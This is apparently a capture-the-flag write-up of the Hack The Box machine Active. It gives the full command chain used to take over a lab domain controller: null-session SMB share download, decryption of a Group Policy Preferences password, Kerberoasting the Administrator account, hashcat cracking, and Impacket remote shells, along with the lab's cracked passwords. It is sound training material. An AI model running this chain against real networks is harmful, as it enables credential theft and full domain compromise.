September 15, 2026·Johnytiger

HTB: Active

A null session reads the Replication share, and Group Policy Preferences hands over a service account password Microsoft published the decryption key for. That account kerberoasts the Administrator SPN and the domain controller falls.

securityctfwriteuphacktheboxactive directorywindowskerberossmb

The Hack The Box machine card for Active, rated Easy, running Windows

Like any other CTF we start off with an nmap scan of the system.

nmap -sC -sV -p- 10.129.86.82

The nmap scan showing a Windows Server 2008 R2 domain controller with DNS, Kerberos, SMB and LDAP open for the active.htb domain, and a reported clock skew

We have a couple of solid AD ports going on here. Let's first check for shares we can read using NetExec.

nxc smb 10.129.86.82 -u '' -p '' --shares

NetExec enumerating shares over a null session, showing READ access on the Replication share

Replication is readable with no credentials at all. Let's grab everything from that share.

smbclient //10.129.86.82/Replication -N -c "recurse ON; prompt OFF; mget *"

Within the policies we find a Groups.xml file that has a user and a GPP encrypted password we can decrypt with gpp-decrypt.

The contents of Groups.xml open in a text editor, showing the SVC_TGS username and a cpassword attribute

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Microsoft published the AES key for Group Policy Preferences passwords back in 2012, so anything still sitting in a cpassword attribute is plaintext to anyone who can read the share.

With the new password and user let's use it with NetExec and see what we can get.

nxc smb   10.129.86.82 -u SVC_TGS -p 'GPPstillStandingStrong2k18'
nxc winrm 10.129.86.82 -u SVC_TGS -p 'GPPstillStandingStrong2k18'
nxc ldap  10.129.86.82 -u SVC_TGS -p 'GPPstillStandingStrong2k18'

gpp-decrypt returning the plaintext password, then NetExec confirming the SVC_TGS credentials against SMB and LDAP

OK, we are getting hits. Can we Kerberoast this? Let's first set our clock to match the system with ntpdate. The nmap output flagged a skew, and Kerberos will throw us out if we drift too far from the domain controller.

sudo ntpdate 10.129.86.82

And then use Impacket to grab SPNs.

impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.86.82 -request

GetUserSPNs returning a service ticket for the Administrator account, which is registered against the active/CIFS SPN

Alright, we get an Administrator ticket. Let's crack this with hashcat.

hashcat -m 13100 tgs.hash /usr/share/wordlists/rockyou.txt --force

It cracks with rockyou.

Hashcat cracking the TGS-REP hash in mode 13100 and recovering the Administrator password in five seconds

Let's run it by impacket-wmiexec and see if we can grab a shell.

impacket-wmiexec active.htb/administrator:'Ticketmaster1968'@10.129.86.82

The wmiexec semi-interactive shell running as Administrator, refusing ls and ps and then hanging on powershell

We get a shell, but it sucks and hangs, so let's move over to smbexec.

impacket-smbexec active.htb/administrator:'Ticketmaster1968'@10.129.86.82

The smbexec shell reading user.txt and root.txt by full path, with both flag values blurred out

We log in and use full directory paths to grab both flags, and we are done.

This box was extremely easy. It's an unlikely situation to see in the wild unless you vibe coded the setup of this environment, but it's a pretty good box for beginners learning about service tickets, Kerberoasting, and matching the clock skew.

End of transmissionAll posts